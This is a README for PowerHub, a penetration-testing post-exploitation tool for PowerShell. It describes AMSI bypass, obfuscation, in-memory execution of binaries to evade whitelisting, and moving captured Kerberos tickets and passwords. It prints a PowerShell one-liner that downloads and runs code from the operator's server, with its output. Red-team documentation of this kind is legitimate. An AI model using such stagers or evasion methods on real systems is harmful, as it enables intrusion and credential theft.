PowerHub is a convenient post exploitation tool for PowerShell which aids a pentester in transferring data, in particular code which may get flagged by endpoint protection. Check out the Wiki! Features:
- Cert pinning
- String “obfuscation” by RC4 encryption
- Choose your AMSI Bypass
During an engagement where you have a test client available, one of the first things you want to do is run PowerSploit. So you need to download the files, messing with endpoint protection, disable the execution policy, etc. PowerHub provides an (almost) one-click-solution for this. Oh, and you can also run arbitrary binaries (PE and shell code) entirely in-memory using PowerSploit’s modules, which is sometimes useful to bypass application whitelisting.
Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back either as a file or a text snippet, via the command line or the web interface. PowerHub also helps with collaboration in case you’re a small team.
Here is a simple example (grab information about local groups with PowerView and transfer it back):
PS C:\Users\avollmer> $K=new-object net.webclient;IEX $K.downloadstring('http://192.168.11.2:8080/0?t=http&f=r&a=reflection'); _____ _____ _ _ _ _______ ______ _ _ _ _ ______ |_____] | | | | | |______ |_____/ |_____| | | |_____] | |_____| |__|__| |______ | \_ | | |_____| |_____] written by Adrian Vollmer, 2018-2021 Run 'Help-PowerHub' for help PS C:\Users\avollmer> lhm powerview Name Type N Loaded ---- ---- - ------ ps1/PowerSploit/Recon/PowerView.ps1 ps1 29 True PS C:\Users\avollmer> Get-LocalGroup | pth -Name groups.json
PowerHub itself does not need to be installed. Just execute
powerhub.py. However, there are a few dependencies. They are listed in the requirements.txt. Install them either via
pip3 install --user -r requirements.txt
or use a virtual environment.
If you do want to install PowerHub, you should do
pip3 install --user ..
Python2 is not supported.
For building the payloads, you need the MinGW GCC and Mono C# compilers. On Debian-like systems, you can install them with
apt-get install mono-mcs gcc-mingw-w64-x86-64 gcc-mingw-w64-i686
venv can be installed on Debian-like systems by
apt install python3-venv.
python3 -m venv env to create a virtual environment, then use
source env/bin/activate to activate it. Now run
pip3 install --user . to install the depencendies inside the virtual environment.
Alternatively, you can use
pipenv can be installed on Debian-like systems by
apt install pipenv.
pipenv install once in the PowerHub directory, then
pipenv shell to activate the virtual environment.
PowerHub has one mandatory argument: the callback host (can be an IP address). You should also use
--auth <user>:<pass>, otherwise, a randomly generated password will be used for basic authentication. The switch
--no-auth disables basic authentication which is not recommended. The callback host name is used by the stager to download the payload. If the callback port or path differ from the default, it can also be changed.
./powerhub.py --help and the Wiki for details.
PowerHub is partially based on the awesome work of zc00l, @am0nsec, mar10, p3nt4, @SkelSec. And of course, it would be nothing without @harmj0y, @mattifestation and the many other contributors to PowerSploit.
Adrian Vollmer, 2018-2021
Use at your own risk. Do not use without full consent of everyone involved. For educational purposes only.